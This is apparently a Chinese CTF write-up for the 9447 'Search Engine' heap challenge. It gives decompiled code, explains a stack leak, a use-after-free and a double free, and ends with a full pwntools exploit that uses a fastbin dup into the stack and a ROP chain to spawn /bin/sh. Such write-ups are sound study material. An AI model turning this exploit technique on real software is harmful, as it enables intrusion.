Search Engine

Ever wanted to search through real life? Well this won't help, but it will let you search strings.

Find it at search-engine-qgidg858.9447.plumbing port 9447.

search bf61fbb8fa7212c814b2607a81a84adf

 

(题目配置没给libc版本,这里使用的是libc2.23)(PS:之后翻了一下附带的题解,当时应该用的是libc2.19,但是区别不大)

checksec如下:

 

 (本题无符号信息,接下来的符号均为ida反编译之后重新标记)

main函数如下:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  work();
  return 0LL;
}

work函数如下:

__int64 work()
{
  __int64 result; // rax

  head = 0LL;
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      result = get_l();
      if ( (_DWORD)result != 1 )
        break;
      search_with_a_word();
    }
    if ( (_DWORD)result != 2 )
      break;
    index_a_sentence();
  }
  if ( (_DWORD)result != 3 )
    die("Invalid option");
  return result;
}

menu函数如下:

int menu()
{
  puts("1: Search with a word");
  puts("2: Index a sentence");
  return puts("3: Quit");
}

get_l函数如下:

__int64 get_l()
{
  __int64 result; // rax
  char *endptr; // [rsp+8h] [rbp-50h] BYREF
  char nptr[56]; // [rsp+10h] [rbp-48h] BYREF
  unsigned __int64 v3; // [rsp+48h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  get_by_char((__int64)nptr, 48, 1);
  result = strtol(nptr, &endptr, 0);
  if ( endptr == nptr )
  {
    __printf_chk(1LL, "%s is not a valid number\n", nptr);
    result = get_l();
  }
  return result;
}

get_by_char函数如下:

void __fastcall get_by_char(__int64 dist, int num, int break_at_enter)
{
  int v4; // ebx
  _BYTE *v5; // rbp
  int v6; // eax

  if ( num <= 0 )
  {
    v4 = 0;
  }
  else
  {
    v4 = 0;
    while ( 1 )
    {
      v5 = (_BYTE *)(dist + v4);
      v6 = fread(v5, 1uLL, 1uLL, stdin);
      if ( v6 <= 0 )
        break;
      if ( *v5 == '\n' && break_at_enter )
      {
        if ( v4 )
        {
          *v5 = 0;
          return;
        }
        v4 = v6 - 1;
        if ( num <= v6 - 1 )
          break;
      }
      else
      {
        v4 += v6;
        if ( num <= v4 )
          break;
      }
    }
  }
  if ( v4 != num )
    die("Not enough data");
}

break_at_enter不为0时读取到回车时会去掉回车并终止读入

search_with_a_word函数如下:

void search_with_a_word()
{
  int v0; // ebp
  void *v1; // r12
  word *v2; // rbx
  char v3[56]; // [rsp+0h] [rbp-38h] BYREF

  puts("Enter the word size:");
  v0 = get_l();
  if ( (unsigned int)(v0 - 1) > 65533 )
    die("Invalid size");
  puts("Enter the word:");
  v1 = malloc(v0);
  get_by_char((__int64)v1, v0, 0);
  v2 = (word *)head;
  if ( head )
  {
    do
    {
      if ( *v2->sentence_start )
      {
        if ( v2->word_len == v0 && !memcmp(v2->word_start, v1, v0) )
        {
          __printf_chk(1LL, "Found %d: ", (unsigned int)v2->sentence_len);
          fwrite(v2->sentence_start, 1uLL, v2->sentence_len, stdout);
          putchar('\n');
          puts("Delete this sentence (y/n)?");
          get_by_char((__int64)v3, 2, 1);
          if ( v3[0] == 'y' )
          {
            memset(v2->sentence_start, 0, v2->sentence_len);
            free(v2->sentence_start);
            puts("Deleted!");
          }
        }
      }
      v2 = v2->next;
    }
    while ( v2 );
  }
  free(v1);
}

index_a_sentence函数如下:

int sub_400C00()
{
  int v0; // eax
  __int64 v1; // rbp
  int v2; // er13
  char *v3; // r12
  char *v4; // rbx
  __int64 v5; // rbp
  word *v6; // rax
  int v7; // edx
  __int64 v8; // rdx
  __int64 v10; // rdx

  puts("Enter the sentence size:");
  v0 = get_l();
  v1 = (unsigned int)(v0 - 1);
  v2 = v0;
  if ( (unsigned int)v1 > 65533 )
    die("Invalid size");
  puts("Enter the sentence:");
  v3 = (char *)malloc(v2);
  get_by_char((__int64)v3, v2, 0);
  v4 = v3 + 1;
  v5 = (__int64)&v3[v1 + 2];
  v6 = (word *)malloc(0x28uLL);
  v7 = 0;
  v6->word_start = v3;
  v6->word_len = 0;
  v6->sentence_start = v3;
  v6->sentence_len = v2;
  do
  {
    while ( *(v4 - 1) != ' ' )
    {
      v6->word_len = ++v7;
LABEL_4:
      if ( ++v4 == (char *)v5 )
        goto LABEL_8;
    }
    if ( v7 )
    {
      v10 = head;
      head = (__int64)v6;
      v6->next = (struct word *)v10;
      v6 = (word *)malloc(0x28uLL);
      v7 = 0;
      v6->word_start = v4;
      v6->word_len = 0;
      v6->sentence_start = v3;
      v6->sentence_len = v2;
      goto LABEL_4;
    }
    v6->word_start = v4++;
  }
  while ( v4 != (char *)v5 );
LABEL_8:
  if ( v7 )
  {
    v8 = head;
    head = (__int64)v6;
    v6->next = (struct word *)v8;
  }
  else
  {
    free(v6);
  }
  return puts("Added sentence");
}

可以看出程序的作用是读入一个句子之后,会把句子按照空格来拆分出单词,然后允许搜索单词并且允许删除单词所在的句子

存储方式是以word结构体形成了一个链表,word结构体内部依次是指向单词头位置的指针,单词长度,指向所在句子头位置的指针,句子长度,链表下一个word结构体的指针

 

程序有几处漏洞

第一处在get_l里面,它会判断输入是否有效,如果输入不以数字开头则会报错,但是问题是它是调用的get_by_char进行读入,而get_by_char要是读满了的话,读到的字符串是不以'\0'结尾的,这样可能会通过printf_chk泄露栈地址信息,但是第一次输入错误无信息返回(因为此时刚好之后的内存是'\x00')

输入失败之后会递归调用get_l,发现连续两次读入错误,在第二次时会泄露一个栈地址

 

第二处是search_with_a_word内

句子删除后,free句子所在的trunk后有一个UAF

并且按照ptmalloc2的原理,在free的trunk内可能存有地址数据,因此判断句子所对应的地址是否非空不一定有用,存在着double free,并且能打印地址信息

因此可以通过unsorted bin泄露libc地址,同时通过fastbin attack可以选择main函数的返回地址之前的一处进行任意写,覆盖掉返回地址,构造rop链,拿到shell

exp如下:

from pwn import *

elf = ELF('./search')
libc = elf.libc
io = process('./search')
#io = gdb.debug('./search', 'b *0x400d30')

#泄露栈地址
io.recvuntil('Quit\n')
io.sendline('a'*48)
io.recvuntil('number\n')
io.sendline('a'*48)
io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
stack_addr = u64(io.recv(6).ljust(8, b'\x00'))
info('stack_addr: 0x%x', stack_addr)

#泄露libc基地址
io.recvuntil('number\n')
io.sendline('2')
io.recvuntil('size:\n')
io.sendline('128')
io.recvuntil('sentence:\n')
io.sendline('a'*126+' a')

io.recvuntil('Quit\n')
io.sendline('1')
io.recvuntil('size:\n')
io.sendline('1')
io.recvuntil('word:\n')
io.sendline('a')
io.recvuntil('(y/n)?\n')
io.sendline('y')

io.recvuntil('Quit\n')
io.sendline('1')
io.recvuntil('size:\n')
io.sendline('1')
io.recvuntil('word:\n')
io.sendline(b'\x00')
io.recvuntil('Found 128: ')
main_arena88 = u64(io.recv(6).ljust(8, b'\x00'))
io.recvuntil('(y/n)?\n')
io.sendline('n')

libc_base = main_arena88 - 0x3c4b78
info('main_arena88: 0x%x', main_arena88)
info('libc: 0x%x', libc_base)

#double-free
io.recvuntil('Quit\n')
io.sendline('2')
io.recvuntil('size:\n')
io.sendline('48')
io.recvuntil('sentence:\n')
io.sendline('a'*45+' aa')

io.recvuntil('Quit\n')
io.sendline('2')
io.recvuntil('size:\n')
io.sendline('48')
io.recvuntil('sentence:\n')
io.sendline('a'*44+' aaa')

io.recvuntil('Quit\n')
io.sendline('2')
io.recvuntil('size:\n')
io.sendline('48')
io.recvuntil('sentence:\n')
io.sendline('a'*43+' aaaa')

io.recvuntil('Quit\n')
io.sendline('1')
io.recvuntil('size:\n')
io.sendline('2')
io.recvuntil('word:\n')
io.sendline('aa')
io.recvuntil('(y/n)?\n')
io.sendline('y')

io.recvuntil('Quit\n')
io.sendline('1')
io.recvuntil('size:\n')
io.sendline('3')
io.recvuntil('word:\n')
io.sendline('aaa')
io.recvuntil('(y/n)?\n')
io.sendline('y')

io.recvuntil('Quit\n')
io.sendline('1')
io.recvuntil('size:\n')
io.sendline('4')
io.recvuntil('word:\n')
io.sendline('aaaa')
io.recvuntil('(y/n)?\n')
io.sendline('y')

io.recvuntil('Quit\n')
io.sendline('1')
io.recvuntil('size:\n')
io.sendline('3')
io.recvuntil('word:\n')
io.sendline(b'\x00'*3)
io.recvuntil('(y/n)?\n')
io.sendline('y')

pop_rdi = 0x400e23
system_addr = libc.symbols['system'] + libc_base
binsh_addr = next(libc.search(b'/bin/sh')) + libc_base

#fastbin_dup_into_stack + rop
io.recvuntil('Quit\n')
io.sendline('2')
io.recvuntil('size:\n')
io.sendline('48')
io.recvuntil('sentence:\n')
magic_addr = stack_addr + 0x52
io.sendline(p64(magic_addr).ljust(48, b'\x00'))

io.recvuntil('Quit\n')
io.sendline('2')
io.recvuntil('size:\n')
io.sendline('48')
io.recvuntil('sentence:\n')
io.sendline('a'*48)

io.recvuntil('Quit\n')
io.sendline('2')
io.recvuntil('size:\n')
io.sendline('48')
io.recvuntil('sentence:\n')
io.sendline('a'*48)

io.recvuntil('Quit\n')
io.sendline('2')
io.recvuntil('size:\n')
io.sendline('48')
io.recvuntil('sentence:\n')
io.sendline((b'a' * 6 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)).ljust(48, b'\x90'))

io.recvuntil('Quit\n')
io.sendline('3')

io.interactive()

 

posted @ 2021-03-09 00:07  hktk1643  阅读(130)  评论(0编辑  收藏  举报